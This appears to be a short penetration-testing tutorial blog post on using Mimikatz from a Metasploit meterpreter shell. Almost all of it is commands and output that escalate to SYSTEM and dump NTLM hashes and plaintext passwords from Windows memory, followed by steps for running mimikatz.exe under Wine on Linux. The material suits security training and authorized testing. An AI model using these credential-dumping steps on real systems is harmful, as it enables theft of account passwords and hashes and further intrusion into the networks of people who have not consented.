Mimikatz – Metasploit

By Oussama Ben Fredj On May 10, 2021

After obtaining a meterpreter shell, we need to ensure that our session is running with SYSTEM level privileges for Mimikatz to function properly.

meterpreter > getuid
Server username: WINXP-E95CE571A1\Administrator

meterpreter > getsystem
...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Reading Hashes and Passwords from Memory

meterpreter > load mimikatz
Loading extension mimikatz...success.

meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
0;56683  NTLM                                          n.s. (Credentials KO)
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

AuthID   Package    Domain           User              Password
------   -------    ------           ----              --------
0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
0;56683  NTLM                                          
0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword


meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }

meterpreter > mimikatz_command -f sekurlsa::logonpasswords

Mimikatz on Linux

In case no VM is available

step 1

winetricks msasn1

step 2

╰─>$ wine /usr/share/windows-resources/mimikatz/Win32/mimikatz.exe
0009:err:winediag:SECUR32_initNTLMSP ntlm_auth was not found or is outdated. Make sure that ntlm_auth >= 3.0.25 is in your path. Usually, you can find it in the winbind package of your distribution.

  .#####.   mimikatz 2.2.0 (x86) #18362 May 13 2019 01:34:39
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [email protected] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

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